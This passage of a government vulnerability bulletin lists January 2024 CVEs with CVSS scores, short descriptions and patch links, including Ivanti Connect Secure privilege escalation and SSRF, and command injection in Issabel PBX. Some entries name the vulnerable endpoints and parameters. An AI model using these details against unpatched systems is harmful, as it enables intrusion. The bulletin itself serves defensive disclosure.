Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	19-Jan-2024	8.8	IBM OpenPages with Watson 8.3 and 9.0 could allow remote attacker to bypass security restrictions, caused by insufficient authorization checks. By authenticating as an OpenPages user and using non-public APIs, an attacker could exploit this vulnerability to bypass security and gain unauthorized administrative access to the application. IBM X-Force ID: 264005. **CVE ID : CVE-2023-40683**	https://exchange.xforce.ibmcloud.com/vulnerabilities/264005, https://www.ibm.com/support/pages/node/7107774	A-IBM-OPEN-140224/557
Storing Passwords in a Recoverable Format	19-Jan-2024	8.1	IBM OpenPages with Watson 8.3 and 9.0 could provide weaker than expected security in a OpenPages environment using Native authentication. If OpenPages is using Native authentication an attacker with access to the OpenPages database could	https://exchange.xforce.ibmcloud.com/vulnerabilities/262594, https://www.ibm.com/support/pages/node/7107775	A-IBM-OPEN-140224/558

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			through a series of specially crafted steps could exploit this weakness and gain unauthorized access to other OpenPages accounts. IBM X-Force ID: 262594. **CVE ID : CVE-2023-38738**		
Affected Version(s): From (including) 8.3 Up to (excluding) 8.3.0.2.7					
N/A	19-Jan-2024	8.8	IBM OpenPages with Watson 8.3 and 9.0 could allow remote attacker to bypass security restrictions, caused by insufficient authorization checks. By authenticating as an OpenPages user and using non-public APIs, an attacker could exploit this vulnerability to bypass security and gain unauthorized administrative access to the application. IBM X-Force ID: 264005. **CVE ID : CVE-2023-40683**	https://exchange.xforce.ibmcloud.com/vulnerabilities/264005, https://www.ibm.com/support/pages/node/7107774	A-IBM-OPEN-140224/559
Storing Passwords in a	19-Jan-2024	8.1		https://exchange.xforce.ibmcloud.com/vulnerab	A-IBM-OPEN-140224/560

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Recoverable Format			IBM OpenPages with Watson 8.3 and 9.0 could provide weaker than expected security in a OpenPages environment using Native authentication. If OpenPages is using Native authentication an attacker with access to the OpenPages database could through a series of specially crafted steps could exploit this weakness and gain unauthorized access to other OpenPages accounts. IBM X-Force ID: 262594. **CVE ID : CVE-2023-38738**	ilities/262594, https://www.ibm.com/support/pages/node/7107775	
Product: qradar_security_information_and_event_manager					
Affected Version(s): 7.5.0					
N/A	17-Jan-2024	5.3	IBM QRadar SIEM 7.5 could disclose sensitive email information in responses from offense rules. IBM X-Force ID: 275709.	https://exchange.xforce.ibmcloud.com/vulnerabilities/275709, https://www.ibm.com/support/pages/node/7108657	A-IBM-QRAD-140224/561

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-50950		
Product: sterling_control_center					
Affected Version(s): 6.3.0					
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	19-Jan-2024	5.3	IBM Sterling Control Center 6.3.0 could allow a remote attacker to traverse directories on the system. An attacker could send a specially crafted URL request containing "dot dot" sequences (/../) to view arbitrary files on the system. IBM X-Force ID: 257874. **CVE ID : CVE-2023-35020**	https://exchange.xforce.ibmcloud.com/vulnerabilities/257874, https://www.ibm.com/support/pages/node/7107788	A-IBM-STER-140224/562
Product: storage_defender_data_protect					
Affected Version(s): From (including) 1.0.0 Up to (including) 1.4.1					
URL Redirection to Untrusted Site ('Open Redirect')	19-Jan-2024	5.4	IBM Storage Defender - Data Protect 1.0.0 through 1.4.1 is vulnerable to HTTP header injection, caused by improper validation of input by the HOST headers. This could allow an attacker to conduct various attacks against the vulnerable system, including cross-site scripting, cache	https://exchange.xforce.ibmcloud.com/vulnerabilities/276101, https://www.ibm.com/support/pages/node/7106918	A-IBM-STOR-140224/563

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			poisoning or session hijacking. IBM X-Force ID: 276101. **CVE ID : CVE-2023-50963**		
Vendor: icehrm					
Product: icehrm					
Affected Version(s): 23.0.0.os					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	IceHrm 23.0.0.OS does not sufficiently encode user-controlled input, which creates a Cross-Site Scripting (XSS) vulnerability via /icehrm/app/fileupload_page.php, in multiple parameters. An attacker could exploit this vulnerability by sending a specially crafted JavaScript payload and partially hijacking the victim's browser. **CVE ID : CVE-2023-6282**	N/A	A-ICE-ICEH-140224/564
Vendor: idmsistemas					
Product: sinergia					
Affected Version(s): 2.0					
Authorization Bypass Through User-	18-Jan-2024	7.5	Omission of user-controlled key authorization in the IDMSistemas platform, affecting the QSige product.	N/A	A-IDM-SINE-140224/565

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Controlled Key			This vulnerability allows an attacker to extract sensitive information from the API by making a request to the parameter '/qsige.locator/quotePrevious/centers/X', where X supports values 1,2,3, etc. **CVE ID : CVE-2024-0580**		
Vendor: igalerie					
Product: igalerie					
Affected Version(s): 3.0.22					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	iGalerie v3.0.22 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the Titre (Title) field in the editing interface. **CVE ID : CVE-2024-22639**	N/A	A-IGA-IGAL-140224/566
Vendor: imagesourcecontrol					
Product: image_source_control					
Affected Version(s): * Up to (including) 2.17.0					
N/A	27-Jan-2024	7.5	Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Thomas Maier Image Source Control Lite – Show Image Credits and Captions.This issue affects Image	N/A	A-IMA-IMAG-140224/567

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Source Control Lite – Show Image Credits and Captions: from n/a through 2.17.0. **CVE ID : CVE-2023-52187**		
Vendor: imaginationtech					
Product: ddk					
Affected Version(s): * Up to (including) 23.2					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	A-IMA-DDK-140224/568
Vendor: indigitall					
Product: iurny					
Affected Version(s): * Up to (excluding) 3.2.3					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	16-Jan-2024	4.8	The IURNY by INDIGITALL WordPress plugin before 3.2.3 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored	N/A	A-IND-IURN-140224/569

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup) **CVE ID : CVE-2023-3647**		
Vendor: instawp					
Product: instawp_connect					
Affected Version(s): * Up to (including) 0.1.0.9					
N/A	27-Jan-2024	6.5	Exposure of Sensitive Information to an Unauthorized Actor vulnerability in InstaWP Team InstaWP Connect – 1-click WP Staging & Migration.This issue affects InstaWP Connect – 1-click WP Staging & Migration: from n/a through 0.1.0.9. **CVE ID : CVE-2024-23506**	N/A	A-INS-INST-140224/570
Vendor: integrationobjects					
Product: opc_ua_server_toolkit					
Affected Version(s): *					
Improper Encoding or Escaping of Output	16-Jan-2024	5.3	OPCUAServerToolkit will write a log message once an OPC UA client has successfully	N/A	A-INT-OPC_-140224/571

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			connected containing the client's self-defined description field. **CVE ID : CVE-2023-7234**		
Vendor: Intel					
Product: hid_event_filter_driver					
Affected Version(s): * Up to (including) 2.2.2.1					
Incorrect Permission Assignment for Critical Resource	19-Jan-2024	7.8	Insecure inherited permissions in some Intel HID Event Filter drivers for Windows 10 for some Intel NUC laptop software installers before version 2.2.2.1 may allow an authenticated user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-38541**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00964.html	A-INT-HID_-140224/572
Product: nuc_p14e_laptop_element					
Affected Version(s): * Up to (excluding) 1.1.45					
N/A	19-Jan-2024	5.5	Improper access control in some Intel HotKey Services for Windows 10 for Intel NUC P14E Laptop Element software installers before version 1.1.45 may allow	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00964.html	A-INT-NUC_-140224/573

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			an authenticated user to potentially enable denial of service via local access. **CVE ID : CVE-2023-32544**		
Affected Version(s): * Up to (excluding) 5.4.1.4479					
Incorrect Default Permissions	19-Jan-2024	7.8	Incorrect default permissions in some Intel Integrated Sensor Hub (ISH) driver for Windows 10 for Intel NUC P14E Laptop Element software installers before version 5.4.1.4479 may allow an authenticated user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-29244**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00964.html	A-INT-NUC_-140224/574
Product: nuc_pro_software_suite					
Affected Version(s): * Up to (including) 3.0.0.6					
Uncontrolled Search Path Element	19-Jan-2024	5.5	Uncontrolled search path in some Intel NUC Pro Software Suite Configuration Tool software installers before version 3.0.0.6 may allow an authenticated user to potentially enable denial of	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00964.html	A-INT-NUC_-140224/575

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			service via local access. **CVE ID : CVE-2023-32272**		
Vendor: Iobit					
Product: malware_fighter					
Affected Version(s): 11.0.0.1274					
N/A	22-Jan-2024	5.5	IObit Malware Fighter v11.0.0.1274 is vulnerable to a Denial of Service vulnerability by triggering the 0x8001E00C IOCTL code of the ImfHpRegFilter.sys driver. **CVE ID : CVE-2024-0430**	N/A	A-IOB-MALW-140224/576
Vendor: ip2location					
Product: country_blocker					
Affected Version(s): * Up to (excluding) 2.33.4					
Exposure of Sensitive Information to an Unauthorized Actor	24-Jan-2024	7.5	Exposure of Sensitive Information to an Unauthorized Actor vulnerability in IP2Location IP2Location Country Blocker.This issue affects IP2Location Country Blocker: from n/a through 2.33.3.	N/A	A-IP2-COUN-140224/577

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-22294		
Vendor: ipb-halle					
Product: molecularfaces					
Affected Version(s): * Up to (excluding) 0.3.0					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	19-Jan-2024	6.1	MolecularFaces before 0.3.0 is vulnerable to cross site scripting. A remote attacker can execute arbitrary JavaScript in the context of a victim browser via crafted molfiles. **CVE ID : CVE-2024-0758**	https://github.com/ipb-halle/MolecularFaces/security/advisories/GHSA-2pwh-52h7-7j84	A-IPB-MOLE-140224/578
Vendor: iperov					
Product: deepfacelab					
Affected Version(s): df.wf.288res.384.92.72.22					
Deserialization of Untrusted Data	18-Jan-2024	7.8	A vulnerability, which was classified as problematic, was found in DeepFaceLab pretrained DF.wf.288res.384.92.72.22. Affected is an unknown function of the file mainscripts/Util.py. The manipulation leads to deserialization. Local access is	N/A	A-IPE-DEEP-140224/579

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			required to approach this attack. The exploit has been disclosed to the public and may be used. VDB-251382 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0654**		
Vendor: issabel					
Product: pbx					
Affected Version(s): 4.0.0					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	29-Jan-2024	9.8	A vulnerability was found in Issabel PBX 4.0.0. It has been rated as critical. This issue affects some unknown processing of the file /index.php?menu=asterisk_cli of the component Asterisk-Cli. The manipulation of the argument Command leads to os command injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is	N/A	A-ISS-PBX-140224/580

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			VDB-252251. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0986**		
Vendor: ithuan					
Product: tuitse-tsusin					
Affected Version(s): * Up to (excluding) 1.3.2					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	23-Jan-2024	6.1	TuiTse-TsuSin is a package for organizing the comparative corpus of Taiwanese Chinese characters and Roman characters, and extracting sentences of the Taiwanese Chinese characters and the Roman characters. Prior to version 1.3.2, when using `tuitse_html` without quoting the input, there is a html injection vulnerability. Version 1.3.2 contains a patch for the issue. As a workaround, sanitize Taigi input with HTML quotation. **CVE ID : CVE-2024-23341**	https://github.com/i3thuan5/TuiTse-TsuSin/commit/9d21d99d7cfcd7c42aade251fab98ec102e730ea, https://github.com/i3thuan5/TuiTse-TsuSin/pull/22, https://github.com/i3thuan5/TuiTse-TsuSin/security/advisories/GHSA-m4m5-j36m-8x72	A-ITH-TUIT-140224/581

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Vendor: ivanti					
Product: avalanche					
Affected Version(s): 6.3.4.153					
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	25-Jan-2024	6.5	Directory Traversal vulnerability in Ivanti Avalanche 6.3.4.153 allows a remote authenticated attacker to obtain sensitive information via the javax.faces.resource component. **CVE ID : CVE-2023-41474**	N/A	A-IVA-AVAL-140224/582
Product: connect_secure					
Affected Version(s): 9.0					
N/A	31-Jan-2024	8.8	A privilege escalation vulnerability in web component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) allows a user to elevate privileges to that of an administrator. **CVE ID : CVE-2024-21888**	https://forums.ivanti.com/s/article/CVE-2024-21888-Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure?language=en_US	A-IVA-CONN-140224/583
Server-Side Request Forgery (SSRF)	31-Jan-2024	8.2	A server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons	https://forums.ivanti.com/s/article/CVE-2024-21888-Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-	A-IVA-CONN-140224/584

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			for ZTA allows an attacker to access certain restricted resources without authentication. **CVE ID : CVE-2024-21893**	Secure?language=en_US	
Affected Version(s): 21.12					
N/A	31-Jan-2024	8.8	A privilege escalation vulnerability in web component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) allows a user to elevate privileges to that of an administrator. **CVE ID : CVE-2024-21888**	https://forums.ivanti.com/s/article/CVE-2024-21888-Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure?language=en_US	A-IVA-CONN-140224/585
Server-Side Request Forgery (SSRF)	31-Jan-2024	8.2	A server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons for ZTA allows an attacker to access certain restricted resources without authentication. **CVE ID : CVE-2024-21893**	https://forums.ivanti.com/s/article/CVE-2024-21888-Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure?language=en_US	A-IVA-CONN-140224/586
Affected Version(s): 21.9					
N/A	31-Jan-2024	8.8	A privilege escalation	https://forums.ivanti.com/s/art	A-IVA-CONN-140224/587

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			vulnerability in web component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) allows a user to elevate privileges to that of an administrator. **CVE ID : CVE-2024-21888**	icle/CVE-2024-21888-Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure?language=en_US	
Server-Side Request Forgery (SSRF)	31-Jan-2024	8.2	A server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons for ZTA allows an attacker to access certain restricted resources without authentication. **CVE ID : CVE-2024-21893**	https://forums.ivanti.com/s/article/CVE-2024-21888-Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure?language=en_US	A-IVA-CONN-140224/588
Affected Version(s): 22.1					
N/A	31-Jan-2024	8.8	A privilege escalation vulnerability in web component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) allows a user to elevate privileges to that of an administrator.	https://forums.ivanti.com/s/article/CVE-2024-21888-Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure?language=en_US	A-IVA-CONN-140224/589

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-21888		
Server-Side Request Forgery (SSRF)	31-Jan-2024	8.2	A server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons for ZTA allows an attacker to access certain restricted resources without authentication. **CVE ID : CVE-2024-21893**	https://forums.ivanti.com/s/article/CVE-2024-21888-Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure?language=en_US	A-IVA-CONN-140224/590
Affected Version(s): 22.2					
N/A	31-Jan-2024	8.8	A privilege escalation vulnerability in web component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) allows a user to elevate privileges to that of an administrator. **CVE ID : CVE-2024-21888**	https://forums.ivanti.com/s/article/CVE-2024-21888-Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure?language=en_US	A-IVA-CONN-140224/591
Server-Side Request Forgery (SSRF)	31-Jan-2024	8.2	A server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons	https://forums.ivanti.com/s/article/CVE-2024-21888-Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-	A-IVA-CONN-140224/592

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			for ZTA allows an attacker to access certain restricted resources without authentication. **CVE ID : CVE-2024-21893**	Secure?language=en_US	
Affected Version(s): 22.3					
N/A	31-Jan-2024	8.8	A privilege escalation vulnerability in web component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) allows a user to elevate privileges to that of an administrator. **CVE ID : CVE-2024-21888**	https://forums.ivanti.com/s/article/CVE-2024-21888-Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure?language=en_US	A-IVA-CONN-140224/593
Server-Side Request Forgery (SSRF)	31-Jan-2024	8.2	A server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons for ZTA allows an attacker to access certain restricted resources without authentication. **CVE ID : CVE-2024-21893**	https://forums.ivanti.com/s/article/CVE-2024-21888-Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure?language=en_US	A-IVA-CONN-140224/594
Affected Version(s): 22.4					
N/A	31-Jan-2024	8.8	A privilege escalation	https://forums.ivanti.com/s/art	A-IVA-CONN-140224/595

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			vulnerability in web component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) allows a user to elevate privileges to that of an administrator. **CVE ID : CVE-2024-21888**	icle/CVE-2024-21888-Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure?language=en_US	
Server-Side Request Forgery (SSRF)	31-Jan-2024	8.2	A server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons for ZTA allows an attacker to access certain restricted resources without authentication. **CVE ID : CVE-2024-21893**	https://forums.ivanti.com/s/article/CVE-2024-21888-Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure?language=en_US	A-IVA-CONN-140224/596
Affected Version(s): 22.6					
N/A	31-Jan-2024	8.8	A privilege escalation vulnerability in web component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) allows a user to elevate privileges to that of an administrator.	https://forums.ivanti.com/s/article/CVE-2024-21888-Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure?language=en_US	A-IVA-CONN-140224/597

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-21888		
Server-Side Request Forgery (SSRF)	31-Jan-2024	8.2	A server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons for ZTA allows an attacker to access certain restricted resources without authentication. **CVE ID : CVE-2024-21893**	https://forums.ivanti.com/s/article/CVE-2024-21888-Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure?language=en_US	A-IVA-CONN-140224/598
Affected Version(s): 9.1					
N/A	31-Jan-2024	8.8	A privilege escalation vulnerability in web component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) allows a user to elevate privileges to that of an administrator. **CVE ID : CVE-2024-21888**	https://forums.ivanti.com/s/article/CVE-2024-21888-Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure?language=en_US	A-IVA-CONN-140224/599
Server-Side Request Forgery (SSRF)	31-Jan-2024	8.2	A server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons	https://forums.ivanti.com/s/article/CVE-2024-21888-Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-	A-IVA-CONN-140224/600

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			for ZTA allows an attacker to access certain restricted resources without authentication. **CVE ID : CVE-2024-21893**	Secure?language=en_US	
Product: neurons_for_zero-trust_access					
Affected Version(s): -					
Server-Side Request Forgery (SSRF)	31-Jan-2024	8.2	A server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons for ZTA allows an attacker to access certain restricted resources without authentication. **CVE ID : CVE-2024-21893**	https://forums.ivanti.com/s/article/CVE-2024-21888-Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure?language=en_US	A-IVA-NEUR-140224/601
Product: policy_secure					
Affected Version(s): 9.0					
N/A	31-Jan-2024	8.8	A privilege escalation vulnerability in web component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) allows a user to elevate privileges to that of an administrator. **CVE ID : CVE-2024-21888**	https://forums.ivanti.com/s/article/CVE-2024-21888-Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure?language=en_US	A-IVA-POLI-140224/602

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Server-Side Request Forgery (SSRF)	31-Jan-2024	8.2	A server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons for ZTA allows an attacker to access certain restricted resources without authentication. **CVE ID : CVE-2024-21893**	https://forums.ivanti.com/s/article/CVE-2024-21888-Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure?language=en_US	A-IVA-POLI-140224/603
Affected Version(s): 22.1					
N/A	31-Jan-2024	8.8	A privilege escalation vulnerability in web component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) allows a user to elevate privileges to that of an administrator. **CVE ID : CVE-2024-21888**	https://forums.ivanti.com/s/article/CVE-2024-21888-Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure?language=en_US	A-IVA-POLI-140224/604
Server-Side Request Forgery (SSRF)	31-Jan-2024	8.2	A server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons for ZTA allows an attacker to access	https://forums.ivanti.com/s/article/CVE-2024-21888-Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure?language=en_US	A-IVA-POLI-140224/605

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			certain restricted resources without authentication. **CVE ID : CVE-2024-21893**		
Affected Version(s): 22.2					
N/A	31-Jan-2024	8.8	A privilege escalation vulnerability in web component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) allows a user to elevate privileges to that of an administrator. **CVE ID : CVE-2024-21888**	https://forums.ivanti.com/s/article/CVE-2024-21888-Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure?language=en_US	A-IVA-POLI-140224/606
Server-Side Request Forgery (SSRF)	31-Jan-2024	8.2	A server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons for ZTA allows an attacker to access certain restricted resources without authentication. **CVE ID : CVE-2024-21893**	https://forums.ivanti.com/s/article/CVE-2024-21888-Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure?language=en_US	A-IVA-POLI-140224/607
Affected Version(s): 22.3					
N/A	31-Jan-2024	8.8	A privilege escalation vulnerability in web component of	https://forums.ivanti.com/s/article/CVE-2024-21888-	A-IVA-POLI-140224/608

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) allows a user to elevate privileges to that of an administrator. **CVE ID : CVE-2024-21888**	Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure?language=en_US	
Server-Side Request Forgery (SSRF)	31-Jan-2024	8.2	A server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons for ZTA allows an attacker to access certain restricted resources without authentication. **CVE ID : CVE-2024-21893**	https://forums.ivanti.com/s/article/CVE-2024-21888-Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure?language=en_US	A-IVA-POLI-140224/609
Affected Version(s): 22.4					
N/A	31-Jan-2024	8.8	A privilege escalation vulnerability in web component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) allows a user to elevate privileges to that of an administrator. **CVE ID : CVE-2024-21888**	https://forums.ivanti.com/s/article/CVE-2024-21888-Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure?language=en_US	A-IVA-POLI-140224/610

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Server-Side Request Forgery (SSRF)	31-Jan-2024	8.2	A server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons for ZTA allows an attacker to access certain restricted resources without authentication. **CVE ID : CVE-2024-21893**	https://forums.ivanti.com/s/article/CVE-2024-21888-Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure?language=en_US	A-IVA-POLI-140224/611
Affected Version(s): 22.6					
N/A	31-Jan-2024	8.8	A privilege escalation vulnerability in web component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) allows a user to elevate privileges to that of an administrator. **CVE ID : CVE-2024-21888**	https://forums.ivanti.com/s/article/CVE-2024-21888-Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure?language=en_US	A-IVA-POLI-140224/612
Server-Side Request Forgery (SSRF)	31-Jan-2024	8.2	A server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons for ZTA allows an attacker to access	https://forums.ivanti.com/s/article/CVE-2024-21888-Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure?language=en_US	A-IVA-POLI-140224/613

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			certain restricted resources without authentication. **CVE ID : CVE-2024-21893**		
Affected Version(s): 9.1					
N/A	31-Jan-2024	8.8	A privilege escalation vulnerability in web component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) allows a user to elevate privileges to that of an administrator. **CVE ID : CVE-2024-21888**	https://forums.ivanti.com/s/article/CVE-2024-21888-Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure?language=en_US	A-IVA-POLI-140224/614
Server-Side Request Forgery (SSRF)	31-Jan-2024	8.2	A server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons for ZTA allows an attacker to access certain restricted resources without authentication. **CVE ID : CVE-2024-21893**	https://forums.ivanti.com/s/article/CVE-2024-21888-Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure?language=en_US	A-IVA-POLI-140224/615
Affected Version(s): 22.5					
N/A	31-Jan-2024	8.8	A privilege escalation vulnerability in web component of	https://forums.ivanti.com/s/article/CVE-2024-21888-	A-IVA-POLI-140224/616

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) allows a user to elevate privileges to that of an administrator. **CVE ID : CVE-2024-21888**	Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure?language=en_US	
